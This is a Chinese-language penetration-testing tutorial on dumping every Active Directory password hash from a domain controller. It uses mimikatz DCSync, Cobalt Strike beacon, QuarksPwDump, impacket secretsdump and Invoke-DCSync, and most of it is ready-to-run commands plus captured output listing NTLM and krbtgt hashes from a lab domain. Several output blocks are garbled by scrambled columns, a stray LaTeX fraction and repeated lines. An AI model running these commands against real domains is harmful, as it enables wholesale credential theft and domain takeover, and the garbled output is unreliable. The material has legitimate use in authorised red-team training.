在线方式读取ntds.dit文件

在线的方式就是直接读取不需要在导出ntds文件,在域环境中,不要直接在线获取hash,特别是域环境比较大的时候,在线获取hash等待时时间较长,工具占用资源太多,容易造成域控服务器崩溃

mimikatz

1、可以读取所有用户的hash

```
lsadump::dcsync /domain:hack.com /all /csv
```

```
mimikatz # lsadump::dcsync /domain:hack.com /all /csv

[DC] 'hack.com' will be the domain

[DC] 'DC.hack.com' will be the DC server

[DC] Exporting domain 'hack.com'

502 krbtgt 72cbbe2460ec03e4fcf3ef858e14fd11

1104 wanli 570a9a65db8fba761c1008a51d4c95ab

1107 khack 570a9a65db8fba761c1008a51d4c95ab

1109 ls e45a314c664d40a227f9540121d1a29d

1110 wTN10$ a79dd609f06ca24a3ba6eb6dc233db96
[DC]
502
1104
                                                                                                                                                                                                       66048
                                                                                                                                                                                                       512
66048
                           WIN10$ a79dd609f06ca24a3ba6eb6dc233db96
zs 570a9a65db8fba761c1008a51d4c95ab
WANLI-PC$ 09c9084814e0ae62fbdb9efe12099cda
2012-1$ e053d1489e4a2427ea97ad7af25a03de
PC-WEB$ 2df513506a6286526972080e713125e1
 1110
                                                                                                                                                                                                       4096
 1106
                                                                                                                                                                                                      66048
\frac{1105}{1111}
                                                                                                                                                                                                                                   4096
                                                                                                                                                                                                       4096
 1108
                                                                                                                                                                                                       4096
                                                       5f5be6b93677e377eb6ef77a61a016b7
22ac75d3307297a71c99da8c88b39ffc
trator 5143e7a41f1731bf919c7c5d5608dc37
                                                                                                                                                                                                       4096
 1001
                            DC$
                                                                                                                                                                                                       532480
                                                                                                                                                                                                                                   512
 500
                            Administrator
```

```
beacon> mimikatz lsadump::dcsync /domain:hack.com /all /csv
[*] Tasked beacon to run mimikatz's lsadump::dcsync /domain:hack.com /all /csv command
[+] host called home, sent: 706121 bytes
[+] received output:
[DC] 'hack.com' will be the domain
[DC] 'DC.hack.com' will be the DC server
[DC] Exporting domain 'hack.com'
502 krbtgt
             72cbbe2460ec03e4fcf3ef858e14fd11
1104 wanli
             570a9a65db8fba761c1008a51d4c95ab
                                                 66048
1107 khack
             570a9a65db8fba761c1008a51d4c95ab
                                                 512
1109 ls e45a314c664d40a227f9540121d1a29d
                                           66048
1110 WIN10$ a79dd609f06ca24a3ba6eb6dc233db96
                                                 4096
1106 zs 570a9a65db8fba761c1008a51d4c95ab
                                            66048
                 09c9084814e0ae62fbdb9efe12099cda
1105 WANLI-PC$
                                                      4096
1111 2012-1$ e053d1489e4a2427ea97ad7af25a03de
                                                 4096
1108 PC-WEB$ 2df513506a6286526972080e713125e1
                                                 4096
             5f5be6b93677e377eb6ef77a61a016b7
1112 2012-2$
1001 DC$ 22ac75d3307297a71c99da8c88b39ffc
                                            532480
500 Administrator 5143e7a41f1731bf919c7c5d5608dc37
                                                      512
```

2、也可以读取单个用户的hash

```
lsadump::dcsync /domain:hack.com /user:administrator
```

```
mimikatz # lsadump::dcsync /domain:hack.com /user:administrator
[DC] 'hack.com' will be the domain
[DC] 'DC.hack.com' will be the DC server
[DC] 'administrator' will be the user account

Object RDN : Administrator

** SAM ACCOUNT **

SAM Username : Administrator
Account Type : 300000000 (USER_OBJECT )
USER Account Control : 00000200 (NORMAL_ACCOUNT )
Account expiration : 1601/1/1 8:00:00
Password last change : 2022/9/16 14:15:50
Object Security ID : S-1-5-21-2716900768-72748719-3475352185-500
Object Relative ID : 500

Credentials:
Hash NTLM: 5143e7a41f1731bf919c7c5d5608dc37
ntlm- 0: 5143e7a41f1731bf919c7c5d5608dc37
ntlm- 1: b770f687b25fa6be274bf99a69398578
ntlm- 2: 33b89cf1674c1378a9cbf91de7189a7c
lm 0: 421a3b443ef8da478a214ffc10ed5f08
lm - 1: b70fedb9a719ea8a47a380084edf812d

beacon> mimikatz lsadump::dcsync /domain:hack.com /user:administrator command
(*) Tasked beacon to run mimikatz's lsadump::dcsync /domain:hack.com /user:administrator command
(*) Tasked beacon to run mimikatz's lsadump::dcsync /domain:hack.com /user:administrator command
(*) Tasked beacon to run mimikatz's lsadump::dcsync /domain:hack.com /user:administrator command
(*) Tasked beacon to run mimikatz's lsadump::dcsync /domain:hack.com /user:administrator command
(*) Tasked beacon to run mimikatz's lsadump::dcsync /domain:hack.com /user:administrator command
```

```
[+] host called home, sent: 706121 bytes
[+] received output:
[DC] 'hack.com' will be the domain
[DC] 'DC.hack.com' will be the DC server
[DC] 'administrator' will be the user account
Object RDN
                     : Administrator
** SAM ACCOUNT **
SAM Username
                    : Administrator
                     : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration : 1601/1/1 8:00:00
Password last change : 2022/9/16 14:15:50
Object Security ID : S-1-5-21-2716900768-72748719-3475352185-500
Object Relative ID : 500
Credentials:
 Hash NTLM: 5143e7a41f1731bf919c7c5d5608dc37
    ntlm- 0: 5143e7a41f1731bf919c7c5d5608dc37
```

Quarks PwDump

1、上传工具到目标机器,使用命令先导出ntds文件,然后直接读取

```
<u>beacon</u>> shell QuarksPwDump.exe --dump-hash-domain --ntds-file ntds.dit
 *] Tasked beacon to run: QuarksPwDump.exe --dump-hash-domain --ntds-file ntds.dit
   host called home, sent: 87 bytes
   received output:
                                                                             v0.2b -<(QuarksLab)>
[+] SYSKEY restrieving...[OK]
SYSKEY = DBCAE18C12AE3BAE704B053DF2910AB1
[+] Init JET engine...OK
[+] Open Database ntds.dit...OK
[+] Parsing datatable...OK
[+] Processing PEK deciphering...OK
PEK = 388E9531BA413372E3380ED23EABD5D1
[+] Processing hashes deciphering...OK
                                            -- BEGIN DUMP
2012-2$:1112:AAD3B435B51404EEAAD3B435B51404EE:5F5BE6B93677E377EB6EF77A61A016B7:::
2012-1$:1111:AAD3B435B51404EEAAD3B435B51404EE:E053D1489E4A2427EA97AD7AF25A03DE:::
WIN10$:1110:AAD3B435B51404EEAAD3B435B51404EE:A79DD609F06CA24A3BA6EB6DC233DB96:::
ls:1109:AAD3B435B51404EEAAD3B435B51404EE:E45A314C664D40A227F9540121D1A29D:
PC-WEB$:1108:AAD3B435B51404EEAAD3B435B51404EE:2DF513506A6286526972080E713125E1:::
khack:1107:AAD3B435B51404EEAAD3B435B51404EE:570A9A65DB8FBA761C1008A51D4C95AB:::
zs:1106:AAD3B435B51404EEAAD3B435B51404EE:570A9A65DB8FBA761C1008A51D4C95AB:::
WANLI-PC$:1105:AAD3B435B51404EEAAD3B435B51404EE:09C9084814E0AE62FBDB9EFE12099CDA:::
wanli:1104:AAD3B435B51404EEAAD3B435B51404EE:570A9A65DB8FBA761C1008A51D4C95AB:::
krbtgt:502:AAD3B435B51404EEAAD3B435B51404EE:72CBBE2460EC03E4FCF3EF858E14FD11:::
DC$:1001;AAD3B435B51404EEAAD3B435B51404EE:22AC75D3307297A71C99DA8C88B39FFC:::
```

impacket

使用secretsdump直接读取

```
secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds
```

例如: secretsdump.exe hack/administrator:123456k1;'\@192.168.41.10 -outputfile 1.txt

```
NL$KM:2564b9b746bd0ae152bf541db738281ce8d21ef2eff9101f0b8c9500b3ef6e0bb1e018995f64cd3ee4e11b02a7ad1a0787
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5143e7a41f1731bf919c7c5d5608dc37:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72cbbe2460ec03e4fcf3ef858e14fd11:::
hack.com\wanli:1104:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
hack.com\zs:1106:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
khack:1107:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
hack.com\ls:1109:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d:::
DC$:1001:aad3b435b51404eeaad3b435b51404ee:22ac75d3307297a71c99da8c88b39ffc:
WANLI-PC$:1105:aad3b435b51404eeaad3b435b51404ee:09c9084814e0ae62fbdb9efe12099cda:::
PC-WEB$:1108:aad3b435b51404eeaad3b435b51404ee:2df513506a6286526972080e713125e1:::
WIN10$:1110:aad3b435b51404eeaad3b435b51404ee:a79dd609f06ca24a3ba6eb6dc233db96:::
2012-1$:1111:aad3b435b51404eeaad3b435b51404ee:3d6a7574c582ab401596e80754cae917:::
2012-2$:1112:aad3b435b51404eeaad3b435b51404ee:5f5be6b93677e377eb6ef77a61a016b7:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:b98290216bc43fa0caeac6d6bef782a8292e75cc824989a5e945efe6db764ab6
```

Invoke-DCSync

Invoke-DCSyncs是powershell脚本可以在线读取内存中的用户hash

```
Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -PWDumpFormat
```

C:\Users\Administrator\Desktop>powershell Import-Module .\Invoke-DCSync.ps1;Invoke-DCSync -PWDumpFormat krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72cbbe2460ec03e4fcf3ef858e14fd11:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5143e7a41f1731bf919c7c5d5608dc37:::
wan1::1104:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
zs:1106:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
khack:1107:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
1s:1109:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d:::